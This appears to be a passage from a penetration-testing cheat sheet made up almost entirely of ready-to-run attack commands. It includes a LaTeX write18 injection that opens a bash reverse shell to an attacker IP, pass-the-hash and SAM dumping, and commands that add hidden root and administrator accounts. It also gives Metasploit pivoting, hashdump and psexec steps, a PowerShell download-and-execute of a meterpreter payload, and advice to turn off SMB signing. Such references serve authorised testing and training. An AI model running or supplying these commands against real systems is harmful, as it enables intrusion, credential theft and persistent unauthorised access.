For example, in the configuration command: enable secret 5 $1$iUjJ$cDZ03KKGh7mHfX2RSbDqP. The enable secret has been hashed with MD5, whereas in the command: username jdoe password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D The password has been encrypted using the weak reversible algorithm.

Misc

LaTeX

  1. Setup a netcat listener on Kali 
    kali$ nc -nlvp 31337
  2. Use Burp or Postman to capture and repeat POST
  3. Modify payload to post following content 
    \immediate\write18{bash+-c+'bash+-i+>%26+/dev/tcp/KALI_IP/31337+0>%261'}
    Notice that the content is URL encoded! Also, the KALI_IP is often times a VPN IP, like on the tun0 interface. Basically it shold be the interface/IP that the remote machine has access to reach.

Post Exploitation

Command prompt access on Windows Host

pth-winexe -U Administrator%<hash> //<host ip> cmd.exe

Add Linux User

/usr/sbin/useradd –g 0 –u 0 –o user
echo user:password | /usr/sbin/chpasswd

Add Windows User

net user username password@1 /add
net localgroup administrators username /add

Solaris Commands

useradd -o user
passwd user
usermod -R root user

Dump remote SAM:

PwDump.exe -u localadmin 192.168.0.1

Metasploit

Metasploit Pivot

Compromise 1st machine

meterpreter> run arp_scanner -r 10.10.10.0/24
meterpreter> route add 10.10.10.10 255.255.255.248 <session>
meterpreter> use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp)> use bind shell

or run autoroute:

meterpreter> ipconfig
meterpreter> run autoroute -s 10.1.13.0/24
meterpreter> getsystem
meterpreter> run hashdump
meterpreter> use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp)> use exploit/windows/smb/psexec

or port forwarding:

meterpreter> run autoroute -s 10.1.13.0/24
meterpreter> use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp)> portfwd add -l <listening port> -p <remote port> -r <remote/internal host>

or socks proxy:

meterpreter> route add 10.10.10.10 255.255.255.248 <session>
meterpreter> use auxiliary/server/socks4a
# Add proxy to /etc/proxychains.conf
msf auxiliary(tcp)> proxychains nmap -sT -T4 -Pn 10.10.10.50
msf auxiliary(tcp)> setg socks4:127.0.0.1:1080

Pass the hash

If NTML only:

00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
STATUS_ACCESS_DENIED (Command=117 WordCount=0):

This can be remedied by navigating to the registry key, "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters" on the target systems and setting the value of "RequireSecuritySignature" to "0"

# Run hashdump on the first compromised machine:
meterpreter> run post/windows/gather/hashdump

# Run Psexec module and specify the hash:
meterpreter> use exploit/windows/smb/psexec

Enable RDP:

meterpreter> run getgui -u hacker -p s3cr3t

# Clean up command:
meterpreter> run multi_console_command \
                 -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.rc

AutoRunScript

  1. Automatically run scripts before exploiation:

    set AutoRunScript "migrate explorer.exe"

  2. Set up SOCKS proxy in MSF

  3. Run a post module against all sessions

    $ resource /usr/share/metasploit-framework/scripts/resource/run_all_post.rc

  4. Find local subnets 'Whilst in meterpreter shell'

    meterpreter> run get_local_subnets

  5. Add the correct Local host and Local port parameters

    $ echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https \
                         -Lhost 192.168.0.7 \
                         -Lport 443 \
                         -Force" \
>> /var/www/payload

  6. Set up psexec module on metasploit

    metasploit> use auxiliary/admin/smb/psexec_command
metasploit> set command powershell \
                -Exec Bypass \
                -NoL \
                -NoProfile \
                -Command IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.0.9/payload\')

  7. Start reverse Handler to catch the reverse connection

    Module options (exploit/multi/handler): Payload options (windows/meterpreter/reverse_https):

    Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.0.9      yes       The local listener hostname
LPORT     443              yes       The local listener port

  8. Show evasion module options

    metasploit> show evasion

$ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d'
